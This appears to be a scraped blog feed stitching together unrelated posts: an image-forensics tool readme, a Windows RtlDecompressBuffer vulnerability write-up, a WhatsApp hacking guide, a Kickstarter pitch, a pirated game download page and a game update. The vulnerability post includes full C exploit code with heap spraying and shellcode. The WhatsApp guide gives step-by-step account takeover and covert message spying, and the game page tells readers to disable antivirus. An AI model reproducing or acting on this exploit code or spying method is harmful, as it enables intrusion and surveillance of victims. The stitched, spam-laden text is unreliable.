Sherloq - An Open-Source Digital Image Forensic Toolset

An open source image forensic toolset

Introduction
"Forensic Image Analysis is the application of image science and domain expertise to interpret the content of an image and/or the image itself in legal matters. Major subdisciplines of Forensic Image Analysis with law enforcement applications include: Photogrammetry, Photographic Comparison, Content Analysis, and Image Authentication." (Scientific Working Group on Imaging Technologies)
Sherloq is a personal research project about implementing a fully integrated environment for digital image forensics. It is not meant as an automatic tool that decide if an image is forged or not (that tool probably will never exist...), but as a companion in putting at work various algorithms to discover potential image inconsistencies.
While many commercial solutions have unaffordable prices and are reserved to law enforcement and government agencies only, this toolset aims to be both a powerful and extensible framework providing a starting point for anyone interested in testing or developing state-of-the-art forensic algorithms.
I strongly believe that security-by-obscurity is the wrong way to offer any kind of security service (i.e. "Using this proprietary software I guarantee you that this photo is pristine... and you have to trust me!"). Instead, following the open-source mentality, everyone should be able to personally experiment various techniques, gain more knowledge and share it to the community... even better if they propose code improvements! :)

Features
A Qt-based GUI provides highly responsive widgets for panning, zooming and inspecting images, while all image processing routines are handled by OpenCV for best efficiency. The software is based on a multi-document interface that can use floating or tabbed view for subwindows and tool outputs can be exported in various textual and graphical formats.
These are the currently planned functions [(***) = fully implemented, (**) = partially implemented, (*) = not yet implemented]:

General

• Original Image: display the unaltered reference image for visual inspection (***)
• Image Digest: compute byte and perceptual hashes together with extension ballistics (**)
• Similarity Search: use reverse search services for finding similar images on the web (*)
• Automatic Tagging: exploit deep learning algorithms for automatic picture tagging (*)

File

• Metadata Dump: gather all metadata information and display security warnings (**)
• EXIF Structure: dump the physical EXIF structure and display an interactive view (***)
• Thumbnail Analysis: if present, extract embedded thumbnail and highlight discrepancies (***)
• Geolocation Data: if present, get geographic data and locate them on a world map view (***)

Inspection

• Enhancing Magnifier: apply local visual enhancements for better identifying forgeries (***)
• Image Adjustments: apply standard adjustments (contrast, brightness, hue, saturation, ...) (***)
• Tonal Range Sweep: interactive tonality range compression for easier artifact detection (***)
• Reference Comparison: synchronized double view to compare reference and evidence images (***)

JPEG

• Quality Estimation: extract quantization tables and estimate last saved JPEG quality (***)
• Compression Ghosts: use error residuals to detect multiple compressions at different levels (**)
• Double Compression: exploit First Digit Statistics to discover potential double compression (**)
• Error Level Analysis: identify areas with different compression levels against a fixed quality (***)

Colors

• RGB/HSV 3D Plots: display interactive 2D and 3D plots of RGB and HSV pixel data (*)
• Color Space Conversion: convert image into RGB/HSV/YCbCr/Lab/CMYK color spaces (***)
• Principal Component Analysis: use PCA to project RGB values onto a different vector space (***)
• RGB Pixel Statistics: compute minimum/maximum/average RGB values for every pixel (***)

Luminance

• Luminance Gradient: analyze brightness variations along X/Y axes of the image (***)
• Frequency Separation: extract the finest details of the luminance channel (*)
• Echo Edge Filter: use 2D Laplacian filter to reveal artificial blurred zones (***)
• Wavelet Reconstruction: re-synthesize image varying wavelet coefficient thresholds (*)

Noise

• Noise Extraction: estimate and separate the natural noise component of the image (***)
• Min/Max Deviation: highlight pixels deviating from block-based min/max statistics (***)
• SNR Consistency: evaluate uniformity of signal-to-noise ratio across the image (***)
• Noise Segmentation: cluster uniform noise areas for easier tampering detection (*)

Tampering

• Contrast Enhancement: analyze histogram inconsistencies caused by enhancements (***)
• Clone Detection: use invariant feature descriptors for copy/rotate clone area detection (**)
• Resampling Detection: analyze 2D pixel interpolation for detecting resampling traces (**)
• Splicing Detection: use DCT coefficient statistics for automatic splicing zone detection (*)

Setup
The software is written in C++11 using Qt Framework for platform-independent GUI and OpenCV Library for efficient image processing. Other external depencies are ExifTool for metadata extraction, LIBSVM for forgery detection and AlgLib for histogram manipulation.
Even if the project objective is clear, actually the software is an early prototype, so some functionalities are still missing (see list above) and it can be run only from Qt Creator under Linux. I put it on Github to track my development progress even during the alpha stage, so expect issues, bugs and installation headaches, however, if you want to take a look around, feel free to contact me if you are experiencing problems in making it run.

Screenshots

File Analysis: Metadata, Digest and EXIF

 Color Analysis: Space Conversion, PCA Projection, Histograms and Statistics

Visual Inspection: Magnifier Loupe, Image Adjustments and Evidence Comparison

JPEG Analysis: Quantization Tables, Compression Ghosts and Error Level Analysis

Luminance and Noise: Light Gradient, Echo Edge, Min/Max Deviation and SNR Consistency

Download Sherloq

via KitPloit

This article is the property of Tenochtitlan Offensive Security. Verlo Completo --> https://tenochtitlan-sec.blogspot.com

Related articles

• Pentest Tools Website Vulnerability
• Nsa Hacker Tools
• Hack And Tools
• Hacker Tools Software
• Hack Website Online Tool
• Pentest Tools Framework
• Hacking Tools Name
• Hacking Tools Mac
• Pentest Tools Kali Linux
• Nsa Hacker Tools
• Hacking Tools For Windows 7
• Pentest Tools Windows
• Pentest Reporting Tools
• Pentest Tools Framework
• Ethical Hacker Tools
• Hacks And Tools
• Hack Tools Pc
• Hacking Tools Usb
• Hack And Tools

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
  int result; // eax@4

  if ( algorithm & algorithm != 1 )
  {
    if ( algorithm & 0xF0 )
      result = -1073741217;
    else
      result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
  }
  else
  {
    result = -1073741811;
  }
  return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

• the movzx limits the boundaries to 16bits
• the test ax, ax avoids the algorithm 0
• the cmp ax, 1 avoids the algorithm 1
• the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*
    ntdll!RtlDecompressBuffer() vtable exploit + heap spray
    by @sha0coder

*/

#include 
#include 
#include 

#define KB  1024
#define MB  1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
       "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
       "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
       "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
       "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
       "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
       "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
       "\x45\x81\x3e\x43\x72\x65\x61\x75"
       "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
       "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
       "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
       "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
       "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
       "\x6c\x63\x89\xe2\x52\x52\x53\x53"
       "\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
  printf("%s\n\n", msg);
  exit(1);
}

PUCHAR spray(HANDLE heap) {
  PUCHAR map = 0;

  printf("Spraying ...\n");
  printf("Aproximating to %p\n", landing_ptr);

  while (map < landing_ptr-1*MB) {
    map = HeapAlloc(heap, 0, 1*MB);
  }

  //map = HeapAlloc(heap, 0, 1*MB);

  printf("Aproximated to [%x - %x]\n", map, map+1*MB);


  printf("Landing adddr: %x\n", landing_ptr);
  printf("Offset of landing adddr: %d\n", landing_ptr-map);

  return map;
}

void landing_sigtrap(int num_of_traps) {
  memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
  memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
  FARPROC RtlDecompressBuffer;
  NTSTATUS ntStat;
  HANDLE heap;
  PUCHAR compressed, uncompressed;
  ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

  RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

  heap = GetProcessHeap();

  compressed_sz = estimated_uncompressed_sz = 1*KB;

  compressed = HeapAlloc(heap, 0, compressed_sz);

  uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


  spray(heap);
  copy_shellcode();
  //landing_sigtrap(1*KB);
  printf("Landing ...\n");

  ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

  switch(ntStat) {
    case STATUS_SUCCESS:
      printf("decompression Ok!\n");
      break;

    case STATUS_INVALID_PARAMETER:
      printf("bad compression parameter\n");
      break;


    case STATUS_UNSUPPORTED_COMPRESSION:
      printf("unsuported compression\n");
      break;

    case STATUS_BAD_COMPRESSION_BUFFER:
      printf("Need more uncompressed buffer\n");
      break;

    default:
      printf("weird decompression state\n");
      break;
  }

  printf("end.\n");
}

The attack vector

This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

More information

1. Hacker
2. Pentest Tools Website Vulnerability
3. Hackrf Tools
4. Hacking Tools 2019
5. Hacking Tools For Pc
6. Pentest Tools Github
7. Hacking Tools For Windows
8. Hacking Tools Mac
9. Hack Tools For Windows
10. Hack And Tools
11. Hacker Tools List
12. Tools 4 Hack
13. Hack Tool Apk
14. Hack Tools For Mac
15. Github Hacking Tools
16. Hack Rom Tools
17. Usb Pentest Tools
18. Pentest Tools Github
19. Pentest Tools For Android
20. Pentest Tools Tcp Port Scanner
21. Hack Tool Apk No Root
22. Hacking Tools For Kali Linux
23. Tools For Hacker
24. Pentest Tools For Ubuntu
25. Beginner Hacker Tools
26. Computer Hacker
27. Underground Hacker Sites

How To Hack Any Whatsapp Account In 2020

The article will also be broken down into different subtopics and subcategories. This to make it easy for those who are just interested in skimming through the article to pick the part of WhatsApp hack they are most interested in. Just incase you don't have enough time to go through the entire article.

Search queries like these are a common place; Can WhatsApp be hacked? Can you read WhatsApp messages? How safe is the most popular trade fair in the world? This article gives you all the solution you need to hack any WhatsApp account, as well as how to protect yourself from a WhatsApp hack attack.

Although the messenger is now on an end-to-end encryption, WhatsApp is still not totally safe from espionage. WhatsApp chats and messages can still be accessed and read remotely, and old &deleted WhatsApp chats and messages retrieved.

WhatsApp Spy: Hack WhatsApp Chats and Messages

A very simple solution is to use a software that can hack WhatsApp remotely. All manufacturers offer to read the WhatsApp messages an extra web portal. In addition to the Whatsapp messages but can also spy on other messengers. So you can also have access to social media accounts.

The software may only be installed on a smartphone. If the user of the smartphone has been informed about the installation and effects.

WhatsApp Hacker: 3 Steps to Hack WhatsApp in 2020

You can hack Whatsapp using a second cell phone. No extra SIM card is necessary for this. The guide also works with a tablet. With this method, the other phone only needs to clone WhatsApp messages is internet connection.

The trick to hack Whatsapp successfully is not a software bug. It's the way WhatsApp has developed the setup wizard. Since there are no user accounts with passwords and you log in via the mobile number, here lies the vulnerability. But you can also protect yourself from the Whatsapp hack.

Hack WhatsApp Chat with the Best WhatsApp Hacking Tool

To read Whatsapp messages, the mobile phone number of the target must be known. The cell phone can remain locked. There is no need to install software to hack and read Whatsapp messages. Even with the PIN or fingerprint, the Whatsapp account can be hacked.

STEP 1: Create a New WhatsApp Account

To hack an account from Whatsapp, the app from the App Store must be installed on the second cell phone. After the installation of Whatsapp, target's phone number is entered. A confirmation request must be waited until access to the smartphone of the victim exists.

STEP 2: WhatsApp Account Confirmation

The confirmation of the Whatsapp account is the actual security risk of the messenger. Whatsapp usually confirms the registration via SMS. Occasionally the confirmation will also be sent by automated phone call via a phone call.

Calls and text messages can be read and taken by anyone even when the screen is locked. So that the WhatsApp hack does not stand out, the SMS must be removed from the start screen by swiping.

STEP 3: Enter Confirmation

The stolen verification PIN is now entered on the second smartphone. As a result, the WhatsApp account has been taken over by you. You can read the WhatsApp messages, which respond to this mobile phone number.

The downside to this trick is that the victim immediately notices the Whatsapp hack as soon as Whatsapp is opened. If the victim goes through the sign-in process again. The attacker loses access to the messages and no Whatsapp messages can be read.

How to Hack Someone's WhatsApp in 2020

A good way to hack a WhatsApp account is to hack whatsapp online. Here you can read WhatsApp messages via a browser and also write. The target user can continue to use his cell phone (works for iOS, Android phone etc) and does not notice the WhatsApp hack.

STEP 1: Access the Cell Phone

In order to be able to read WhatsApp messages by installing software. Access to the unlocked smartphone is required for a short time. In addition, cell phone, a computer or laptop is necessary. On this the Whatsapp messages will be read later.

STEP 2: Access WhatsApp Web

If you have access to the unlocked smartphone, Whatsapp must be started there. The Whatsapp settings include Whatsapp Web . If this is selected, Whatsapp opens a QR code scanner with the hint to open WhatsApp Web in the browser.

If the QR code is scanned in the browser with the smartphone. There is a permanent connection and Whatsapp messages can be read. If you want to hack Whatsapp in this way. You have full access to all incoming messages and you can even write messages yourself.

STEP 3: Read WhatsApp Messages

The target usually sees this Whatsapp hack only when the settings are invoked to Whatsapp Web in the app. Whatsapp messages can be read via the browser. Regardless of whether the smartphone is on home Wi-Fi or on the move. You can also hack group chats admin by just having any of the contact details.

WhatsApp Hack: How to Hack any WhatsApp account

Which is the most popular messaging app globally? Of course, you can use different apps from Android or iOS to send and receive messages. But Whatsapp remains everyone's favorite globally!

Whatsapp is one of the popular apps in the world. There are more than 2 billion active users on Whatsapp, messaging daily with the app. Why do people love WhatsApp? Whatsapp is very convenient and easy to use.

Other messaging apps like Facebook Messenger, still needs a special account to sign up for this app. If you change a new app, you'll need to add another account. This can be stressful, as you have to remember a lot of new passwords and usernames.

HACKER NT

Read more

1. Nsa Hack Tools
2. Pentest Tools Review
3. Hacking Tools Kit
4. Hack Rom Tools
5. Nsa Hack Tools Download
6. Hack Tools Download
7. Hacking Tools 2019
8. Hacking Tools For Games
9. Hacking Tools Free Download
10. Pentest Tools For Windows
11. Hack Tools Pc
12. Hack Tools For Pc
13. Termux Hacking Tools 2019
14. Hacking Tools Online
15. Easy Hack Tools
16. Hacker Tools Linux
17. Hacker Tools Linux
18. Pentest Tools Free
19. Nsa Hacker Tools
20. Pentest Tools Website
21. Hacker Tools Mac
22. Physical Pentest Tools
23. Pentest Tools Apk
24. Wifi Hacker Tools For Windows
25. Hacking Tools For Windows Free Download
26. Pentest Tools Alternative

SQL Injection Attacks And Defense | By Justin Clarke | Pdf Free

Related posts

1. Hacker Tools For Pc
2. Pentest Tools For Ubuntu
3. New Hacker Tools
4. Hacking Tools For Games
5. Kik Hack Tools
6. Termux Hacking Tools 2019
7. Hacker Tools List
8. Best Hacking Tools 2019
9. Pentest Tools Nmap
10. Hack Tools Download
11. Pentest Tools Free
12. Pentest Tools Review
13. Pentest Tools Github
14. Pentest Tools Bluekeep
15. Hack Tools
16. Pentest Tools Port Scanner
17. Hack Tool Apk No Root
18. Hack Tools 2019
19. Hack Tools 2019
20. Hacking Tools For Windows Free Download
21. Pentest Tools Open Source
22. World No 1 Hacker Software
23. Hack And Tools
24. Hacking Tools Online

RELAUNCH Of The Grav StuG Kickstarter. Up To 50.9% Discount!

 TAKE ME TO THE KICKSTARTER!

Why relaunch, what has changed?

By allowing plastic tooling to do what it does best; making perfect copies in large volume I can reduce the cost of each kit with a relatively minor impact to the total funding goal required.
Most of the costs for this campaign are tied up in paying for the tools… Making more copies of the kit is a lesser expense comparatively. Spreading the substantial fixed costs of the tooling over a greater number of kits is a way for me to add value without adding risk to my backers.
I am aware that many of the UE/UK customers will have to contend with VAT or import taxes and that those fees may be something of an impediment. By reducing the price per kit significantly, I can absorb most or all of those fees within the kit price. Providing my backers with a better value, with an eye to gathering a larger backer base.

Why did I not do this before? 

I based my price point on the number of kits I felt could reasonably sell.
In the previous launch, the costs were calculated with a total number of 1200 of kits sold. The estimate of 1200 total kits were driven by my understanding of past campaigns, my known customer base and a survey regarding this kit, sent out last September. Although the 1200 total may have been a reasonable estimate, it drove the price per kit higher than I would have liked.
The last campaign was relatively close~ 998 total kits backed, 83% funded $46,484 dollars raised. Close enough that I felt one more run was warranted, with some adjustments to price to make it more attractive or palatable for those who must look at their tax burden when a kit arrives.
This campaign has been targeted with a total of 1800 kits sold. Lowering the price per kit substantially to drive volume and still fund the campaign in a way that I can deliver with confidence.

I have complete confidence in this kit, its design and the quality I will deliver.
I have complete confidence that these kits are well priced and reflects a true value.
 
Discounts ranging from 38.2% to 50.9% for non retail backers.
Retailer level packs priced at 56.4% to 67.3% off.

Let's make this happen!

SUPERHOT VR Free Download

Blurring the lines between cautious strategy and unbridled mayhem, SUPERHOT VR is the definitive VR FPS in which time moves only when you move. No regenerating health bars. No conveniently placed ammo drops. It's just you, outnumbered and outgunned, grabbing weapons off fallen enemies to shoot, slice, and maneuver through a hurricane of slow-motion bullets.

BODIES ARE DISPOSABLE
MIND IS SOFTWARE
BODIES ARE DISPOSABLE
MIND IS SOFTWARE

Decisive winner of dozens of VR Game of the Year awards, SUPERHOT VR is a title reimagined and redesigned from the ground up for VR and hand tracking controllers. The fruit of over three years of close cooperation between the critically acclaimed SUPERHOT Team and Oculus, SUPERHOT VR brings the intensely visceral action of SUPERHOT directly into your head and soul. And now – directly into your VR headset too.

GAMEPLAY AND SCREENSHOTS :

DOWNLOAD GAME:
♢ Click or choose only one button below to download this game.
♢ View detailed instructions for downloading and installing the game here.
♢ Use 7-Zip to extract RAR, ZIP and ISO files. Install PowerISO to mount ISO files.

SUPERHOT VR Free Download

INSTRUCTIONS FOR THIS GAME

➤ Download the game by clicking on the button link provided above.

➤ Download the game on the host site and turn off your Antivirus or Windows Defender to avoid errors.

➤ Once the download has been finished or completed, locate or go to that file.

➤ To open .iso file, use PowerISO and run the setup as admin then install the game on your PC.

➤ Once the installation process is complete, run the game's exe as admin and you can now play the game.

➤ Congratulations! You can now play this game for free on your PC.

➤ Note: If you like this video game, please buy it and support the developers of this game.

SYSTEM REQUIREMENTS:
(Your PC must at least have the equivalent or higher specs in order to run this game.)

Minimum:
• OS: Windows 10
• Processor: Intel i5-4590 equivalent or greater
• Memory: 8 GB RAM
• Graphics: NVIDIA GTX 970 / AMD Radeon R9 290 or greater
• Storage: 4 GB available space

Recommended:
• OS: Windows 10
• Processor: Intel i5-4590 equivalent or greater
• Memory: 8 GB RAM
• Graphics: NVIDIA GTX 970 / AMD Radeon R9 290 or greater
• Storage: 4 GB available space

Supported Language: English, Italian, Spanish, Polish, Russian, Portuguese-Brazil, Simplified Chinese language are available.
If you have any questions or encountered broken links, please do not hesitate to comment below. :D

Suzy Cube Update: June 22, 2018

#SuzyCube #gamedev #indiedev #madewithunity @NoodlecakeGames 

Well, Suzy Cube has been in the wild for four days now and wild it has been! Events, streams, let's plays and reviews! It'll be nice to take a step back after all this!

Read more »

Louard's game design sounding board and home of the Pro's and Con's reviews.